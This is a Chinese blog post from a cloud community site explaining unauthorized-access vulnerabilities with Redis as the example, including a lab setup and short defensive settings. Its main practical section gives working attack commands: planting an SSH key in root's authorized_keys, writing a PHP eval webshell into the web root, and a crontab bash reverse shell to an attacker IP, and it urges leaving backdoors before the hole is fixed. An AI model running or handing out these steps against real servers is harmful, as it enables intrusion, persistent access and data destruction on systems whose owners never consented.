前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >未授权访问漏洞——以redis为例

未授权访问漏洞——以redis为例

作者头像
宸寰客
发布2020-09-01 15:17:50
9290
发布2020-09-01 15:17:50
举报
文章被收录于专栏:yuancao博客yuancao博客

未授权漏洞的定义

什么是未授权漏洞?

需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。

简而言之,就是任意用户在访问目标服务器的时候,没有经过授权就访问到理应经过授权才能访问的数据。

比如一个评论区,本来需要登录(即授权)才能留言评论。但用户却在没有登录的情况下(当然也没有利用cookies等授权的操作),也成功发表评论。

关系型数据库基本上都有未授权访问漏洞

非关系型数据库基本上只有redis有未授权漏洞

漏洞类型

默认密码

空密码

垂直越权、水平越权

前端取消跳转直接访问绕过

如何发现

扫特定服务端口

扫多级子域名

扫特定应用端口

扫各级目录

这里以redis数据库为例

redis

redis介绍

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。

攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。

如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

本地漏洞环境搭建(redis安装)

(当然,靶机同样需要搭建好环境)

CentOS安装redis:

代码语言:javascript
复制
wget http://download.redis.io/releases/redis-3.2.0.tar.gz

未找到命令的话,安装该命令

代码语言:javascript
复制
yum install wget
代码语言:javascript
复制
tar xzf redis-3.2.0.tar.gz      //解压redis文件
cd redis-3.2.0
make MALLOC=libc

如果报错说没有gcc命令

就安装gcc服务,然后重新make MALLOC=libc

代码语言:javascript
复制
yum install gcc
修改配置文件,使可以远程访问
代码语言:javascript
复制
vi redis.conf

bind 127.0.0.1前面加上#号

protected-mode设为no

将配置文件放到etc目录下

代码语言:javascript
复制
cp redis.conf /etc/
启动redis-server
代码语言:javascript
复制
./src/redis-server redis.conf

然后关闭防火墙

默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件。

虽然可以直接利用这个漏洞访问redis数据库,但是,万一管理员哪天把漏洞堵上了呢?

到那时再感叹:曾经有一个未授权漏洞摆在我面前,我却没有趁机留个后门,结果今天这个漏洞被修复了……

redis基本命令

连接redis: redis-cli -h 172.16.11.78

查看redis版本信息、一些具体信息、服务器版本信息等等: info

将变量x的值设为test: set x "test"

删库 flushall 把整个redis数据库删除,一般情况下三年以上!!!

查看所有键: KEYS *

获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。

config get dir

config get dbfilename

攻击测试

三种利用方式
代码语言:javascript
复制
上传公钥实现免密登录
往web路径里写webshell
利用计划任务执行反弹shell

攻击机: kali 172.16.11.83

靶机:centos 172.16.11.78

nmap扫描服务器开启端口

1.利用秘钥
代码语言:javascript
复制
ssh-keygen -t rsa  
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>test.txt
cat test.txt | redis-cli -h 172.16.11.78 -x set crackit
redis-cli -h 172.16.11.78
config set dir /root/.ssh
config get dir
config set dbfilename "authorized_keys"
save
1.创建密钥
代码语言:javascript
复制
ssh-keygen -t rsa   
2.导入公钥
代码语言:javascript
复制
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>test.txt

将公钥的内容重定向到test.txt文件里,以\n\n(相当于回车)隔开,\n可不需要

3.发送公钥
代码语言:javascript
复制
cat test.txt | redis-cli -h 192.168.177.146 -x set crackit
4.为公钥正名

将公钥导入正确的路径,改为正确的名字

5.免密登录

此时,可以免密登录靶机,就算现在未授权漏洞被修复了也不怕

具体需要注意的细节可以看这个免密登录

2.用webshell
利用条件
代码语言:javascript
复制
目标服务器关闭了只能本机访问
目标服务器开启了web服务,且web服务的路径已知及我们有写权限
利用过程
代码语言:javascript
复制
redis-cli -h 172.16.11.78 
//利用未授权漏洞连接靶机
config set dir /var/www/html     
//进入对方服务器的web目录
config set dbfilename backdoor.php  
//新建一个名为backdoor.php的文件
set x "<?php @eval($_POST['cmd'])?>"
//将一句话木马写入backdoor文件
save
//保存

此时,靶机上的木马已经就绪

此时,不需要未授权漏洞,也可以用蚁剑连接靶机

3.利用计划任务

利用计划任务执行命令反弹shell,在redis以root权限运行时可以写crontab来执行命令反弹shell

1.监听端口

在自己的服务器上监听一个端口,最好不要设置常用的比如80端口,这里我设置成7999端口

代码语言:javascript
复制
nc -lvnp 7999
2.执行命令
代码语言:javascript
复制
redis-cli -h 172.16.11.78
config set dir /var/spool/cron/
config set dbfilename root
set x "\n* * * * * bash -i >& /dev/tcp/172.16.11.83/7999 0>&1\n"    //172.16.11.83是攻击机的ip,7999是攻击机刚刚监听的端口
save
3.nc监听端口反弹回来的shell
4.退出
代码语言:javascript
复制
exit

ps:此处使用bash反弹shell,也可使用其他方法

防御方法

到redis安装目录下,配置redis.conf文件:

1、默认只对本地开放

代码语言:javascript
复制
bind 127.0.0.1

1.5、限制登录ip

代码语言:javascript
复制
虽然默认只对本地开放,但是管理员一般都不会只对本地开放,所以要限制登录ip

2、添加登陆密码

代码语言:javascript
复制
修改 redis.conf 文件,添加 requirepass mypasswd

3、在需要对外开放的时候修改默认端口(端口不重复就可以)

代码语言:javascript
复制
port 9792

4、以低权限运行 Redis 服务(重启redis才能生效)

代码语言:javascript
复制
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

5、最后还可以配合iptables限制开放

0x04 安全配置

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-08-29 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 未授权漏洞的定义
  • 漏洞类型
  • 如何发现
  • redis
    • redis介绍
      • 本地漏洞环境搭建(redis安装)
        • redis基本命令
          • 攻击测试
            • 防御方法
            相关产品与服务
            云数据库 Redis
            腾讯云数据库 Redis(TencentDB for Redis)是腾讯云打造的兼容 Redis 协议的缓存和存储服务。丰富的数据结构能帮助您完成不同类型的业务场景开发。支持主从热备,提供自动容灾切换、数据备份、故障迁移、实例监控、在线扩容、数据回档等全套的数据库服务。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档